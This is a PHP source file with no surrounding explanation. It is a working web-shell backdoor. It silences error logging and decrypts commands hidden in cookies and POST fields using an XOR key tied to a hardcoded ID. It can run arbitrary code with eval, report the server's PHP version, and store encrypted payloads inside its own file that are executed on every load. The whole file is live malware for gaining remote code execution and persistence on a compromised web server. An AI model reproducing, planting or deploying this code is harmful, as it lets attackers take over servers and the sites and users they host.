<?php

ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);
error_reporting(0);
set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $uid = '8d513cbb-4054-45b6-a276-b668f435ab9a';
    global $uid;

    function b64d($input) {

        if (strlen($input) < 4)
        {
            return "";
        }

        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $keys = str_split($keyStr);
        $keys = array_flip($keys);

        $i = 0;
        $output = "";

        $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

        do {
            $enc1 = $keys[$input[$i++]];
            $enc2 = $keys[$input[$i++]];
            $enc3 = $keys[$input[$i++]];
            $enc4 = $keys[$input[$i++]];

            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr($chr1);
            if ($enc3 != 64) {
                $output = $output . chr($chr2);
            }
            if ($enc4 != 64) {
                $output = $output . chr($chr3);
            }
        } while ($i < strlen($input));
        return $output;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($file_name, $desired_contents, $append_flag = False)
        {
            $permission = $append_flag == 8 ? 'a' : 'w';
            $handle = @fopen($file_name, $permission);
            if ($handle === False)
            {
                return 0;
            } else {
                if (is_array($desired_contents)) $desired_contents = implode($desired_contents);
                $bytes_written = fwrite($handle, $desired_contents);
                fclose($handle);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($file_name)
        {
            $handle = fopen($file_name, "r");
            $bytes_read = fread($handle, filesize($file_name));
            fclose($handle);

            return $bytes_read;
        }
    }
    function cs_GetHost()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function _decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);) {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function _decrypt($data, $key)
    {
        global $uid;

        return _decrypt_phase(_decrypt_phase($data, $key), $uid);
    }
    function _encrypt($data, $key)
    {
        global $uid;

        return _decrypt_phase(_decrypt_phase($data, $uid), $key);
    }

    function read_self_data()
    {
        $current_file_contents = @file_get_contents(cs_GetHost());

        $hash_offset = strpos($current_file_contents, md5(cs_GetHost()));
        if ($hash_offset !== FALSE)
        {
            $encoded_data = substr($current_file_contents, $hash_offset + 32);
            $plugin_array = @unserialize(_decrypt(rawurldecode($encoded_data), md5(cs_GetHost())));
        }
        else
        {
            $plugin_array = Array();
        }

        return $plugin_array;
    }

    function rewrite_self($data)
    {
        $encoded_data = rawurlencode(_encrypt(@serialize($data), md5(cs_GetHost())));
        $current_file_contents = @file_get_contents(cs_GetHost());

        $hash_offset = strpos($current_file_contents, md5(cs_GetHost()));
        if ($hash_offset !== FALSE)
        {
            $current_plugin_code = substr($current_file_contents, $hash_offset + 32);
            $current_file_contents = str_replace($current_plugin_code, $encoded_data, $current_file_contents);

        }
        else
        {
            $current_file_contents = $current_file_contents . "\n\n//" . md5(cs_GetHost()) . $encoded_data;
        }

        @file_put_contents(cs_GetHost(), $current_file_contents);
    }

    function cs_plugin_add($plugin_name, $plugin_source)
    {
        $data = read_self_data();

        $data[$plugin_name] = b64d($plugin_source);

        rewrite_self($data);
    }

    function cs_plugin_rem($plugin_name)
    {
        $plugin_array = read_self_data();

        unset($plugin_array[$plugin_name]);

        rewrite_self($plugin_array);
    }

    function cs_plugin_load($plugin_name=NULL)
    {
        foreach (read_self_data() as $data_plugin_name=>$plugin_body)
        {
            if ($plugin_name)
            {
                if (strcmp($plugin_name, $data_plugin_name) == 0)
                {
                    eval($plugin_body);
                    break;
                }
            }
            else
            {
                eval($plugin_body);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $name => $value)
    {
        $value = @unserialize(_decrypt(b64d($value), $name));

        if (isset($value['ak']) && $uid==$value['ak'])
        {
            if ($value['a'] == 'i')
            {
                $version = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $value['ak'],
                );
                echo @serialize($version);
                exit;
            }
            elseif ($value['a'] == 'e')
            {
                eval($value['d']);
            }
            elseif ($value['a'] == 'plugin')
            {
                if($value['sa'] == 'add')
                {
                    cs_plugin_add($value['p'], $value['d']);
                }
                elseif($value['sa'] == 'rem')
                {
                    cs_plugin_rem($value['p']);
                }
            }
            echo $value['ak'];
            exit();
        }
    }

    cs_plugin_load();
}
